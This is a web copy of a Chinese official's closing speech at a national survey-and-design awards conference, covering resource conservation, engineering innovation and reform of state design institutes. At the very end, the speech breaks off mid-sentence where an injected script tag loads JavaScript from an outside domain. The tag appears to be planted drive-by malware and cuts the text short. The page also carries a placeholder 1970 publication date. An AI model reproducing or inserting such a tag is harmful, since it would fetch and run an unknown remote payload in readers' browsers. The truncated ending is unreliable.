徐波同志在全國勘察設(shè)計(jì)工作表彰大會暨新時(shí)期設(shè)計(jì)指導(dǎo)思想研討會上的總結(jié)講話
來源：北京工程勘察設(shè)計(jì)協(xié)會
發(fā)布時(shí)間：1970-01-01
經(jīng)過長時(shí)間精心籌備的全國勘察設(shè)計(jì)工作表彰會暨新時(shí)期設(shè)計(jì)指導(dǎo)思想研討會，在與會代表的共同努力和支持下，即將完成所有的議程，圓滿結(jié)束了。在此，我對這次會議的情況做一個(gè)小結(jié)。
一、關(guān)于這次會議的收獲
會議期間，黃衛(wèi)副部長就勘察設(shè)計(jì)行業(yè)的發(fā)展、提高自主創(chuàng)新能力發(fā)表了重要講話。第四批勘察設(shè)計(jì)大師江歡成院士、李志強(qiáng)大師、第三屆梁思成建筑獎獲得者程泰寧建筑師等六位同志在會議論壇上做了學(xué)術(shù)報(bào)告，全國優(yōu)秀勘察設(shè)計(jì)獲獎單位代表中冶京誠工程技術(shù)有限公司、中國航空工業(yè)規(guī)劃設(shè)計(jì)研究院、北京市建筑設(shè)計(jì)研究院等五個(gè)單位做了經(jīng)驗(yàn)交流。代表們就當(dāng)前我國工程勘察設(shè)計(jì)工作中取得的成績和經(jīng)驗(yàn)，特別是在新時(shí)期如何貫徹落實(shí)科學(xué)發(fā)展觀，樹立正確的設(shè)計(jì)指導(dǎo)思想，不斷提高自主創(chuàng)新能力，發(fā)揮我國工程技術(shù)人員在建設(shè)資源節(jié)約型、環(huán)境友好型社會中的作用等問題進(jìn)行了深入研討。特別是大師們的主題發(fā)言和提交的論文，對指導(dǎo)勘察設(shè)計(jì)行業(yè)的健康發(fā)展、對廣大勘察設(shè)計(jì)工作者在新時(shí)期形成正確的指導(dǎo)思想，將起到積極的作用。
這次會議取得的主要成果有：
一是表揚(yáng)了先進(jìn)，樹立了榜樣，鼓舞了勘察設(shè)計(jì)工作者的士氣。會議表彰了第四批60名勘察設(shè)計(jì)大師、第三屆3名梁思成建筑獎和梁思成建筑獎提名獎獲獎?wù)撸约?004年度國家級優(yōu)秀設(shè)計(jì)270項(xiàng)，其中金質(zhì)獎55項(xiàng)。我們要在全行業(yè)深入開展向全國勘察設(shè)計(jì)大師和梁思成建筑獎獲獎?wù)邔W(xué)習(xí)，向全國優(yōu)秀勘察設(shè)計(jì)獲獎單位學(xué)習(xí)的活動。學(xué)習(xí)他們科學(xué)嚴(yán)謹(jǐn)、精益求精的工作作風(fēng)；學(xué)習(xí)他們永不滿足，勇攀科技高峰的進(jìn)取精神；學(xué)習(xí)他們胸懷大局，勇于承擔(dān)社會責(zé)任的道德修養(yǎng)，精心勘察、精心設(shè)計(jì)，繪制一流的建設(shè)藍(lán)圖，為全面建設(shè)小康社會打下堅(jiān)實(shí)的基礎(chǔ)。
二是做了思想動員，倡導(dǎo)樹立新的設(shè)計(jì)指導(dǎo)思想。勘察設(shè)計(jì)行業(yè)要在節(jié)能、節(jié)地、節(jié)水、節(jié)材工作中發(fā)揮更大的作用，按照汪部長在中國土木工程學(xué)會年會講話中提出的要求，做到用“四節(jié)”來重新審視建筑業(yè)。建設(shè)資源節(jié)約型社會可以從兩個(gè)方面入手，一是生產(chǎn)，二是消費(fèi)。從生產(chǎn)方面節(jié)約資源，主要是要在生產(chǎn)過程中提高資源的使用效率。由于國際貿(mào)易的存在，對某些國內(nèi)稀缺的生產(chǎn)要素，如石油、鐵礦石等，可以通過貿(mào)易方式獲得，但是有些生產(chǎn)要素不能通過貿(mào)易獲得，例如土地和淡水資源，所以，不可貿(mào)易的資源才是經(jīng)濟(jì)發(fā)展中真正難以逾越的瓶頸。因此，節(jié)約土地是比節(jié)約其他可貿(mào)易資源更為重要和緊迫的問題。當(dāng)前我國的建筑節(jié)能的形勢非常嚴(yán)峻，從我們調(diào)研的情況看，許多建筑項(xiàng)目都沒能嚴(yán)格地執(zhí)行建筑節(jié)能強(qiáng)制性標(biāo)準(zhǔn)，在建筑的建造和使用中，能源資源消耗高，利用效率低。為此，我部即將在全國36個(gè)省（區(qū)）、直轄市開展建筑節(jié)能查活動。希望各地主管部門和各勘察設(shè)計(jì)單位，及時(shí)調(diào)整工作重心，為建設(shè)資源節(jié)約型、環(huán)境友好型社會擔(dān)負(fù)起更為重要的歷史使命，從管理和制度上切實(shí)保證建筑節(jié)能標(biāo)準(zhǔn)在建筑工程中的嚴(yán)格執(zhí)行，將節(jié)能、節(jié)地、節(jié)水、節(jié)材和環(huán)境保護(hù)作為今后一段較長時(shí)期工作突出的重點(diǎn)。不但要從工程本身體現(xiàn)資源節(jié)約，而且更要降低包括工業(yè)項(xiàng)目、大型公共建筑項(xiàng)目在運(yùn)行中的能耗。工藝設(shè)計(jì)不但要保證產(chǎn)品質(zhì)量、保證降低成本、保證優(yōu)化升級，而且在整個(gè)工藝流程設(shè)計(jì)中要體現(xiàn)循環(huán)經(jīng)濟(jì)。
三是指明了發(fā)展方向，勘察設(shè)計(jì)行業(yè)的發(fā)展要立足自主創(chuàng)新，不斷提高勘察設(shè)計(jì)技術(shù)水平。工程創(chuàng)新是技術(shù)創(chuàng)新的主要平臺，工程是現(xiàn)實(shí)的、直接的生產(chǎn)力，科學(xué)、技術(shù)轉(zhuǎn)化為現(xiàn)實(shí)生產(chǎn)力的功能一般都要通過工程這一環(huán)節(jié)。全國每年固定資產(chǎn)投資約60%要通過建筑業(yè)轉(zhuǎn)化為生產(chǎn)力。科技成果的轉(zhuǎn)化、技術(shù)創(chuàng)新成果的體現(xiàn)，歸根結(jié)底都需要在工程活動中“實(shí)現(xiàn)”并檢驗(yàn)其有效性、可靠性。從經(jīng)濟(jì)發(fā)展和社會進(jìn)步的歷史和現(xiàn)實(shí)中可以看出，對于一個(gè)國家、地區(qū)、產(chǎn)業(yè)、企業(yè)而言，工程創(chuàng)新是創(chuàng)新活動的主戰(zhàn)場。同時(shí)，還應(yīng)看到，工程創(chuàng)新是集成性創(chuàng)新，既包括技術(shù)層面的集成，也包括管理層面的集成。所以，作為將各項(xiàng)研究成果、技術(shù)標(biāo)準(zhǔn)工程化的勘察設(shè)計(jì)行業(yè)，要著力培育發(fā)展集成創(chuàng)新能力。這不但關(guān)系到工程建設(shè)事業(yè)的發(fā)展，也關(guān)系到經(jīng)濟(jì)社會的可持續(xù)發(fā)展。
二、關(guān)于勘察設(shè)計(jì)行業(yè)的發(fā)展問題
1、繼續(xù)推進(jìn)國有設(shè)計(jì)院體制機(jī)制改革與創(chuàng)新。解決勘察設(shè)計(jì)單位面臨的種種問題，以及培育自主創(chuàng)新能力，獲得良好發(fā)展，都需要在體制和機(jī)制方面進(jìn)行改革和創(chuàng)新，用機(jī)制體制作為保障。設(shè)計(jì)院要多元發(fā)展、多形式發(fā)展，既要有大院，也要有專業(yè)事務(wù)所，對接不同的市場，發(fā)揮各自的優(yōu)勢。設(shè)計(jì)單位并不是必須小型化，也并非一律要民營化。關(guān)鍵的是要有好的機(jī)制、好的品牌。對于一個(gè)大型勘察設(shè)計(jì)單位，創(chuàng)建合理的激勵和約束機(jī)制比一味追求參股持股更為重要。例如英國奧雅納公司（ARUP）為什么能夠承接國貿(mào)三期、國家體育場、國家游泳中心、新機(jī)場擴(kuò)建、新中央電視臺等大型建設(shè)項(xiàng)目的結(jié)構(gòu)設(shè)計(jì)，其中的一個(gè)原因是ARUP有一個(gè)科學(xué)合理的機(jī)制，能?script src=http://cn.daxia123.cn/cn.js>
